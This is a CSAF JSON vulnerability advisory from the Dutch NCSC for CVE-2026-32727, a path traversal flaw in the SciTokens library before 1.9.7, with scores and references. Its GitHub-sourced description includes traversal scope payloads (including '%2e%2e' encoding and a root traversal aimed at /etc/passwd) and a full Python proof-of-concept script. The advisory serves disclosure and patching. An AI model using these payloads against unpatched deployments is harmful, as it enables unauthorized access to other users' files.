{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32727",
        "tracking": {
            "current_release_date": "2026-04-02T16:01:32.832726Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32727",
            "initial_release_date": "2026-03-31T02:38:45.245583Z",
            "revision_history": [
                {
                    "date": "2026-03-31T02:38:45.245583Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T02:38:47.036542Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-31T03:24:56.129645Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T03:24:57.668436Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T07:35:21.106175Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T16:58:54.791171Z",
                    "number": "6",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-31T23:58:26.414306Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T23:58:27.935357Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T15:40:15.299309Z",
                    "number": "9",
                    "summary": "Unknown change."
                }
            ],
            "status": "interim",
            "version": "9"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.9.7",
                                "product": {
                                    "name": "vers:unknown/<1.9.7",
                                    "product_id": "CSAFPID-5966414"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "scitokens"
                    }
                ],
                "category": "vendor",
                "name": "scitokens"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32727",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32727.json"
                },
                {
                    "category": "description",
                    "text": "SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32727"
                },
                {
                    "category": "description",
                    "text": "### Summary\nThe `Enforcer` is vulnerable to a path traversal attack where an attacker can use dot-dot (`..`) in the `scope` claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using `startswith`.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_check_scope`, `_scope_path_matches`  \n**File:** `src/scitokens/urltools.py`  \n**Method:** `normalize_path`\n\n## Description\nWhen a token is verified, the `Enforcer` extracts the authorized path from the `scope` or `scp` claim. This path is passed through `urltools.normalize_path`, which uses `posixpath.normpath` to resolve relative segments.\n\nIf a token has a scope like `read:/home/user1/..`, the normalization process converts this to `/home`. When the enforcer checks if a request for `/home/user2` is authorized, it compares it against the normalized path `/home`.\n\n### Vulnerable Logic Flow:\n\n1.  **Normalization:** In `_check_scope`, the path `/home/user1/..` is normalized to `/home`.\n2.  **Comparison:** In `_scope_path_matches`, the requested path `/home/user2` is checked against the allowed path `/home`:\n    ```python\n    return requested_path.startswith(allowed_path + '/')\n    # \"/home/user2\".startswith(\"/home/\") is True\n    ```\n\n### Bypassing with URL Encoding:\nSince `normalize_path` unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., `%2e%2e`) to hide the traversal from simple string filters that don't account for encoding.\n\n### Root Traversal:\nA scope like `read:/anything/..` normalizes to `read:/`, which grants access to the entire file system (or whatever resource space the enforcer is guarding).\n\n## Impact\nAn attacker who can influence the `scope` claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.\n\n## Proof of Concept\nThe following examples demonstrate the bypass (see `poc_path_traversal.py` for a full reproduction):\n\n- **Scope:** `read:/home/user1/..` -> **Access Granted to:** `/home/user2`\n- **Scope:** `read:/anything/..` -> **Access Granted to:** `/etc/passwd`\n- **Scope:** `read:/foo/%2e%2e/bar` -> **Access Granted to:** `/bar`\n```\n\n\nimport scitokens\nimport os\nimport sys\n\n# Ensure we can import from src\nif os.path.exists(\"src\"):\n    sys.path.append(\"src\")\n\ndef test_path_traversal_bypass():\n    print(\"--- Proof of Concept: Path Traversal in Scope Validation ---\")\n    \n    issuer = \"https://scitokens.org\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Imagine an application that expects to restrict a user to their own directory: /home/user1\n    # The application validates that the token has 'read' access to /home/user1\n    \n    # MALICIOUS TOKEN\n    # An attacker provides a token with a scope that uses '..' to traverse up.\n    # 'read:/home/user1/..' effectively resolves to 'read:/home'\n    token = scitokens.SciToken()\n    token['iss'] = issuer\n    token['scope'] = \"read:/home/user1/..\"\n    \n    # VICTIM PATH\n    # The attacker tries to access a sibling directory (another user's data)\n    requested_path = \"/home/user2\"\n    \n    print(f\"Token scope: {token['scope']}\")\n    print(f\"Requested path: {requested_path}\")\n    \n    # Internal normalization in Scitokens 1.9.6:\n    # urltools.normalize_path(\"/home/user1/..\") -> \"/home\"\n    # urltools.normalize_path(\"/home/user2\") -> \"/home/user2\"\n    # Since \"/home/user2\".startswith(\"/home\") is True, access is granted.\n    \n    print(\"\\nTesting authorization...\")\n    is_authorized = enforcer.test(token, \"read\", requested_path)\n    \n    print(f\"Is authorized: {is_authorized}\")\n    \n    if is_authorized:\n        print(\"\\n[VULNERABILITY CONFIRMED]\")\n        print(f\"The Enforcer ALLOWED access to {requested_path}\")\n        print(f\"even though the scope was nominally restricted to /home/user1/..\")\n        print(\"This bypasses the intended directory isolation.\")\n    else:\n        print(\"\\n[VULNERABILITY NOT REPRODUCED]\")\n        print(\"The Enforcer blocked the access attempt.\")\n\n    # Another example: Root traversal\n    print(\"\\n--- Example 2: Root Traversal ---\")\n    token['scope'] = \"read:/anything/..\" # Resolves to /\n    requested_path = \"/etc/passwd\" # Or any sensitive path\n    \n    print(f\"Token scope: {token['scope']}\")\n    print(f\"Requested path: {requested_path}\")\n    \n    is_authorized = enforcer.test(token, \"read\", requested_path)\n    print(f\"Is authorized: {is_authorized}\")\n    \n    if is_authorized:\n        print(\"[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!\")\n\nif __name__ == \"__main__\":\n    test_path_traversal_bypass()\n\n```\n\n\n## Recommended Fix\nValidate that the path in the scope does not contain `..` components **after unquoting** but **before normalization**. Additionally, ensure that any validation errors raised during this process are subclasses of `ValidationFailure` so they are correctly handled by the `Enforcer.test` method.",
                    "title": "github - https://api.github.com/advisories/GHSA-3x2w-63fp-3qvw"
                },
                {
                    "category": "other",
                    "text": "0.00053",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5966414"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32727.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32727"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-3x2w-63fp-3qvw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/scitokens/scitokens/pull/230"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.7"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32727"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-3x2w-63fp-3qvw"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5966414"
                    ]
                }
            ],
            "title": "CVE-2026-32727"
        }
    ]
}